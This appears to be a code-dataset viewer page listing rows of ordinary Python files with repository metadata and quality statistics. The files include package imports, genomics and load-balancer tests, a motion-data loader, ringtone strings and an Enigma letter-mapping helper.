] | null | null | null | libs/imutils/feature/__init__.py | rocketbot-cl/recognition | cca8a87070ccaca3a26e37345c36ab1bf836e258 | [
"MIT"
] | 3 | 2020-09-10T12:03:20.000Z | 2021-04-26T13:19:53.000Z | from .helpers import corners_to_keypoints
from .factories import FeatureDetector_create
from .factories import DescriptorExtractor_create
from .factories import DescriptorMatcher_create
from .dense import DENSE
from .gftt import GFTT
from .harris import HARRIS
from .rootsift import RootSIFT
| 33.333333 | 50 | 0.84 | 37 | 300 | 6.675676 | 0.405405 | 0.157895 | 0.230769 | 0.202429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.133333 | 300 | 8 | 51 | 37.5 | 0.95 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
485ec9242818ff29033f359d413791762b7121d3 | 232 | py | Python | authApp/views/__init__.py | xlausae/Web-Service | fbc4b45f34fe5ac69d8da2ffe09e5c32046e27d5 | [
"MIT"
] | null | null | null | authApp/views/__init__.py | xlausae/Web-Service | fbc4b45f34fe5ac69d8da2ffe09e5c32046e27d5 | [
"MIT"
] | 1 | 2022-01-05T23:52:37.000Z | 2022-01-05T23:52:37.000Z | authApp/views/__init__.py | xlausae/Web-Service | fbc4b45f34fe5ac69d8da2ffe09e5c32046e27d5 | [
"MIT"
] | null | null | null | from .createUserView import UserCreateView
from .detailUserView import UserDetailView
from .transactionsView import TransactionCreateView, TransactionDeleteView, TransactionDetailView, TransactionUpdateView, TransactionsAccountView
| 58 | 145 | 0.900862 | 16 | 232 | 13.0625 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.068966 | 232 | 3 | 146 | 77.333333 | 0.967593 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
487290cf80a16df7675a20745657e6f38bc72cea | 372 | py | Python | delira/training/backends/sklearn/__init__.py | gedoensmax/delira | 545e2ccbe56ed382d300cf3d00317e9a0e3ab5f6 | [
"BSD-2-Clause"
] | 1 | 2019-10-03T21:00:20.000Z | 2019-10-03T21:00:20.000Z | delira/training/backends/sklearn/__init__.py | gedoensmax/delira | 545e2ccbe56ed382d300cf3d00317e9a0e3ab5f6 | [
"BSD-2-Clause"
] | null | null | null | delira/training/backends/sklearn/__init__.py | gedoensmax/delira | 545e2ccbe56ed382d300cf3d00317e9a0e3ab5f6 | [
"BSD-2-Clause"
] | null | null | null | from delira import get_backends as _get_backends
if "SKLEARN" in _get_backends():
from delira.training.backends.sklearn.trainer import \
SklearnEstimatorTrainer
from delira.training.backends.sklearn.experiment import SklearnExperiment
from delira.training.backends.sklearn.utils import create_optims... | 41.333333 | 78 | 0.801075 | 44 | 372 | 6.545455 | 0.409091 | 0.138889 | 0.1875 | 0.270833 | 0.34375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.147849 | 372 | 8 | 79 | 46.5 | 0.908517 | 0 | 0 | 0 | 0 | 0 | 0.018817 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.571429 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
6fa503e200ecab81156e9b04d803236508baa11f | 512 | py | Python | scratchai/__init__.py | iArunava/scratchai | 9472f64fd3a06a1daa51486b68f5d3d3c36ac2f0 | [
"MIT"
] | 101 | 2019-04-20T13:52:15.000Z | 2021-11-05T02:41:11.000Z | scratchai/__init__.py | iArunava/scratch.ai | 9472f64fd3a06a1daa51486b68f5d3d3c36ac2f0 | [
"MIT"
] | 228 | 2019-04-16T11:57:13.000Z | 2021-08-02T23:15:27.000Z | scratchai/__init__.py | iArunava/scratch.ai | 9472f64fd3a06a1daa51486b68f5d3d3c36ac2f0 | [
"MIT"
] | 16 | 2019-04-16T16:41:00.000Z | 2021-02-08T01:13:09.000Z | from scratchai import learners
from scratchai import DataLoader
from scratchai import utils
from scratchai import nets
from scratchai import init
from scratchai import attacks
from scratchai import pretrained
from scratchai import imgutils
from scratchai import one_call
from scratchai._config import *
import os
import... | 24.380952 | 58 | 0.818359 | 78 | 512 | 5.346154 | 0.5 | 0.311751 | 0.410072 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.146484 | 512 | 20 | 59 | 25.6 | 0.954233 | 0.169922 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.05 | 0 | 1 | 0 | true | 0 | 0.8 | 0 | 0.8 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
6fdb60413d2ce91975d62be9cb51e504458a3548 | 45 | py | Python | mailhide/__init__.py | CleyFaye/django-mailhide | 2c26a39ef863da98248b41fd1b63538df6ecc09f | [
"MIT"
] | null | null | null | mailhide/__init__.py | CleyFaye/django-mailhide | 2c26a39ef863da98248b41fd1b63538df6ecc09f | [
"MIT"
] | null | null | null | mailhide/__init__.py | CleyFaye/django-mailhide | 2c26a39ef863da98248b41fd1b63538df6ecc09f | [
"MIT"
] | null | null | null | from .Config import Config as MailHideConfig
| 22.5 | 44 | 0.844444 | 6 | 45 | 6.333333 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.133333 | 45 | 1 | 45 | 45 | 0.974359 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
6fe126002d6507d7108b20c7b230647d7711952c | 10,370 | py | Python | sgkit_vcf/tests/test_vcf_reader.py | ravwojdyla/sgkit-vcf | 8c8faaf4d0bfb21bc514c5eaedeedbb6a3995fc5 | [
"Apache-2.0"
] | null | null | null | sgkit_vcf/tests/test_vcf_reader.py | ravwojdyla/sgkit-vcf | 8c8faaf4d0bfb21bc514c5eaedeedbb6a3995fc5 | [
"Apache-2.0"
] | null | null | null | sgkit_vcf/tests/test_vcf_reader.py | ravwojdyla/sgkit-vcf | 8c8faaf4d0bfb21bc514c5eaedeedbb6a3995fc5 | [
"Apache-2.0"
] | null | null | null | from typing import MutableMapping
import numpy as np
import pytest
import xarray as xr
from numpy.testing import assert_array_equal
from sgkit_vcf import partition_into_regions, vcf_to_zarr
from sgkit_vcf.tests.utils import path_for_test
@pytest.mark.parametrize(
"is_path", [True, False],
)
def test_vcf_to_zarr... | 35.033784 | 114 | 0.623337 | 1,437 | 10,370 | 4.251914 | 0.109951 | 0.090344 | 0.100655 | 0.070704 | 0.836334 | 0.807692 | 0.759902 | 0.748282 | 0.735188 | 0.715221 | 0 | 0.074894 | 0.206847 | 10,370 | 295 | 115 | 35.152542 | 0.667964 | 0.039634 | 0 | 0.60166 | 0 | 0 | 0.192922 | 0.037901 | 0 | 0 | 0 | 0 | 0.327801 | 1 | 0.041494 | false | 0 | 0.029046 | 0 | 0.070539 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
d20c62db601d12598d90493e79cfe80f5c1612f0 | 9,863 | py | Python | octavia/tests/unit/controller/worker/v2/flows/test_load_balancer_flows.py | lingxiankong/octavia | 4a5c24ef6fcd3b5f198a20d780dedd7f7976296d | [
"Apache-2.0"
] | null | null | null | octavia/tests/unit/controller/worker/v2/flows/test_load_balancer_flows.py | lingxiankong/octavia | 4a5c24ef6fcd3b5f198a20d780dedd7f7976296d | [
"Apache-2.0"
] | null | null | null | octavia/tests/unit/controller/worker/v2/flows/test_load_balancer_flows.py | lingxiankong/octavia | 4a5c24ef6fcd3b5f198a20d780dedd7f7976296d | [
"Apache-2.0"
] | null | null | null | # Copyright 2015 Hewlett-Packard Development Company, L.P.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... | 43.069869 | 78 | 0.716415 | 1,227 | 9,863 | 5.474328 | 0.145884 | 0.100045 | 0.175078 | 0.107191 | 0.794402 | 0.792765 | 0.764776 | 0.715945 | 0.704481 | 0.669793 | 0 | 0.007331 | 0.19781 | 9,863 | 228 | 79 | 43.258772 | 0.841633 | 0.073101 | 0 | 0.622754 | 0 | 0 | 0.015346 | 0.007234 | 0 | 0 | 0 | 0 | 0.508982 | 1 | 0.065868 | false | 0 | 0.047904 | 0 | 0.11976 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
962ced4c7c01aa4c5dda37279c05cdae9f7c0eb9 | 10,383 | py | Python | data.py | bouracha/Gen_Motion | 873caa496d14c9a9723581cdf1464f44db4cf358 | [
"MIT"
] | null | null | null | data.py | bouracha/Gen_Motion | 873caa496d14c9a9723581cdf1464f44db4cf358 | [
"MIT"
] | null | null | null | data.py | bouracha/Gen_Motion | 873caa496d14c9a9723581cdf1464f44db4cf358 | [
"MIT"
] | null | null | null | from torch.utils.data import DataLoader
from utils.h36motion3d import H36motion3D, H36motion3D_pose
import utils.data_utils as data_utils
class DATA():
def __init__(self, dataset, data_dir):
self.dataset = dataset
self.data_dir = data_dir
def get_dct_and_sequences(self, input_n, output_n, sa... | 58.661017 | 192 | 0.612636 | 1,358 | 10,383 | 4.320324 | 0.070692 | 0.038861 | 0.040907 | 0.042952 | 0.871825 | 0.836373 | 0.817965 | 0.799386 | 0.788819 | 0.788819 | 0 | 0.01372 | 0.305018 | 10,383 | 177 | 193 | 58.661017 | 0.799335 | 0.006838 | 0 | 0.646707 | 0 | 0 | 0.015325 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.023952 | false | 0 | 0.017964 | 0 | 0.065868 | 0.011976 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
96346d37da636cc0bb747def216920a4c497de1c | 6,348 | py | Python | sonic_pi/songs.py | mcauser/upy-rtttl | 459bfd3e347dcb3c61b472bf9b7e8afb672d2b89 | [
"MIT"
] | 22 | 2017-04-01T18:23:57.000Z | 2021-12-02T03:46:11.000Z | sonic_pi/songs.py | mcauser/upy-rtttl | 459bfd3e347dcb3c61b472bf9b7e8afb672d2b89 | [
"MIT"
] | 4 | 2017-08-01T10:52:24.000Z | 2020-06-30T18:37:27.000Z | sonic_pi/songs.py | mcauser/upy-rtttl | 459bfd3e347dcb3c61b472bf9b7e8afb672d2b89 | [
"MIT"
] | 11 | 2017-04-03T09:28:53.000Z | 2022-01-26T10:23:38.000Z | # The following RTTTL tunes were extracted from the following:
# https://github.com/onebeartoe/media-players/blob/master/pi-ezo/src/main/java/org/onebeartoe/media/piezo/ports/rtttl/BuiltInSongs.java
# most of which originated from here:
# http://www.picaxe.com/RTTTL-Ringtones-for-Tune-Command/
#
SONGS = [
'Super M... | 151.142857 | 456 | 0.618778 | 1,819 | 6,348 | 2.158329 | 0.11215 | 0.02649 | 0.013754 | 0.013245 | 0.530311 | 0.484463 | 0.458482 | 0.421549 | 0.400408 | 0.350739 | 0 | 0.313754 | 0.034499 | 6,348 | 41 | 457 | 154.829268 | 0.326807 | 0.045054 | 0 | 0 | 0 | 0.794118 | 0.939564 | 0.932299 | 0 | 0 | 0 | 0 | 0 | 1 | 0.029412 | false | 0 | 0 | 0 | 0.058824 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
963b1a52eb8fdcd9592676bbe98ca980cba239be | 248 | py | Python | drf_dynamic_serializers/apps.py | csdenboer/drf-dynamic-serializers | 84178e382f9edbb1be5297f29f6a1f6e621a2f2a | [
"MIT"
] | 5 | 2020-08-19T15:47:24.000Z | 2022-01-02T09:12:16.000Z | drf_dynamic_serializers/apps.py | csdenboer/drf-dynamic-serializers | 84178e382f9edbb1be5297f29f6a1f6e621a2f2a | [
"MIT"
] | 3 | 2020-11-16T07:39:02.000Z | 2021-05-22T14:40:40.000Z | drf_dynamic_serializers/apps.py | csdenboer/drf-dynamic-serializers | 84178e382f9edbb1be5297f29f6a1f6e621a2f2a | [
"MIT"
] | null | null | null | from django.apps import AppConfig
# ensure app settings are loaded
from drf_dynamic_serializers.conf import settings
class DRFDynamicSerializersConfig(AppConfig):
name = "drf_dynamic_serializers"
verbose_name = "DRF Dynamic Serializers"
| 24.8 | 49 | 0.810484 | 29 | 248 | 6.758621 | 0.62069 | 0.153061 | 0.321429 | 0.255102 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.141129 | 248 | 9 | 50 | 27.555556 | 0.920188 | 0.120968 | 0 | 0 | 0 | 0 | 0.212963 | 0.106481 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
966c29cf16bdb46bf4549aeaa0d96aec2610f3a9 | 418 | py | Python | anubi/enigma/_utility.py | Anubi85/enigma | c21d7ae9a4f1ba02896e311b995d47fd45005e37 | [
"MIT"
] | null | null | null | anubi/enigma/_utility.py | Anubi85/enigma | c21d7ae9a4f1ba02896e311b995d47fd45005e37 | [
"MIT"
] | null | null | null | anubi/enigma/_utility.py | Anubi85/enigma | c21d7ae9a4f1ba02896e311b995d47fd45005e37 | [
"MIT"
] | null | null | null | __char_num = [('a',0),('b',1),('c',2),('d',3),('e',4),('f',5),('g',6),('h',7),('i',8),('j',9),('k',10),('l',11),('m',12),('n',13),('o',14),('p',15),('q',16),('r',17),('s',18),('t',19),('u',20),('v',21),('w',22),('x',23),('y',24),('z',25)]
def char2num(char):
return next(filter(lambda x: x[0] == char.lower(), __... | 59.714286 | 239 | 0.456938 | 83 | 418 | 2.192771 | 0.746988 | 0.115385 | 0.175824 | 0.241758 | 0.263736 | 0.263736 | 0 | 0 | 0 | 0 | 0 | 0.125654 | 0.086124 | 418 | 7 | 240 | 59.714286 | 0.350785 | 0 | 0 | 0 | 0 | 0 | 0.062954 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | false | 0 | 0 | 0.4 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.